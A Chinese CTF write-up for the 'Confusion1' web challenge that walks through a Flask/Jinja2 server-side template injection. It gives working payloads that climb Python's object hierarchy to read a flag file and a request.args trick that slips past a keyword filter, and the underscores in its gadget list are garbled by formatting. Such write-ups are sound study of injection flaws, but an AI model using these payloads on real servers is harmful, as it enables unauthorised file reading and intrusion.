oj Web-Confusion1(SSTI攻击)

Confusion1

题目描述

打开网址,就给了一个图片,看这个图片好像是个蛇缠着一个大象(貌似是这样)。


网页上还有两个按钮,登录和注册,点进去都是404.

题目分析

  1. 根据题目提示,寻找用户输入,理解图片,点了所有能点的,也没发现用户输入点在哪,图片就是一个蛇缠着一个大象,话说多大的蛇能缠住大象啊!那就是蟒蛇(Python)。那这道题目与Python有关???
  2. 把点进去的网页的源代码全看了,在两个404中发现了flag所在!!!网页代码如下:
1
2
3
4
5
6
7
8
9
10
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL /login.php was not found on this server.</p>
<hr>
<address>Apache/2.4.10 (Debian) Server at 123.207.149.64 Port 23361</address>
</body></html>
<!-- Flag @ /opt/flag_1234qwerty.txt -->
  1. 看了网上的wp,知道这是一个SSTI类型的题目
    404页面 + Python 很容易就联想到 Flask jinja injection(SSTI)
  2. 这里是另一种注入,对于新手来说,又增加了知识点,不能仅限于解题,得把原理及题目思路搞懂才行。
  3. 读flag文件命令:
    &#123;&#123;''.__class__.__mro__[2].__subclasses__()[40]('/opt/flag_1234qwerty.txt').read()&#125;&#125;,(注:’{’表示左大括号,’}’是右大括号,hexo在部署博客时,遇到大括号会出错。)出现如下,考虑是把class、mro、subclasses、read给过滤了。

    多次测试,确实过滤了以上字符

  4. 用request.args进行绕过,让上边那四个当成参数返回。request.args是flask中的一个属性,为返回请求的参数。
    以上命令改为:
    &#123;&#123;''[request.args.a][request.args.b][2][request.args.c]()[40]('/opt/flag_1234qwerty.txt')[request.args.d]()&#125;&#125;?a=__class__&b=__mro__&c=__subclasses__&d=read
  5. 最后在404界面得到flag。

所用知识

  1. 附writeup博客:https://www.xctf.org.cn/library/details/8723e039db0164e2f7345a12d2edd2a5e800adf7/
  2. SSTI:https://hellohxk.com/blog/ssti/ +https://xz.aliyun.com/t/3679 (这个很详细,易懂)。
    模板引擎:就是写好的代码模板,然后把数据填到模板里,经过浏览器渲染(理解成合成好理解),生成html页面返回给浏览器。优点是能够代码重用。

    这里就用了模板,把数据塞到模板里。
    服务器端模板注入:在{{}}里,他将我们的代码进行了执行。服务器将我们的数据经过引擎解析的时候,进行了执行,模板注入与sql注入成因有点相似,都是信任了用户的输入,将不可靠的用户输入不经过滤直接进行了执行,用户插入了恶意代码同样也会执行。

  3. 模板注入时:实行文件读写和命令执行的基本操作:获取基本类->获取基本类的子类->在子类中找到关于命令执行和文件读写的模块。

python的几个函数解析

_class_ 返回调用的参数类型
_bases__ 返回类型列表
__mro
_ 此属性是在方法解析期间寻找基类时考虑的类元组
_subclasses_() 返回object的子类
_globals_ 函数会以字典类型返回当前位置的全部全局变量 与 func_globals 等价

获取基本类(object):

‘’._class_._mro__[2]
{}.__class
_._bases__[0]
().__class
_._bases__[0]
[].__class
_._bases__[0]
request.__class
_.__mro__[9] //在flask的jinja2模块渲染时可用

获取基本类的子类:

object._subclasses__()
//‘’.__class
_._mro_[2]._subclasses_()

快速查找该引用对应的位置:
''.__class__.__mro__[2].__subclasses__().index(file) 比如file在的位置为40,则
读文件:
''.__class__.__mro__[2].__subclasses__()[40]

文章目录
  1. 1. Confusion1
    1. 1.1. 题目描述
    2. 1.2. 题目分析
    3. 1.3. 所用知识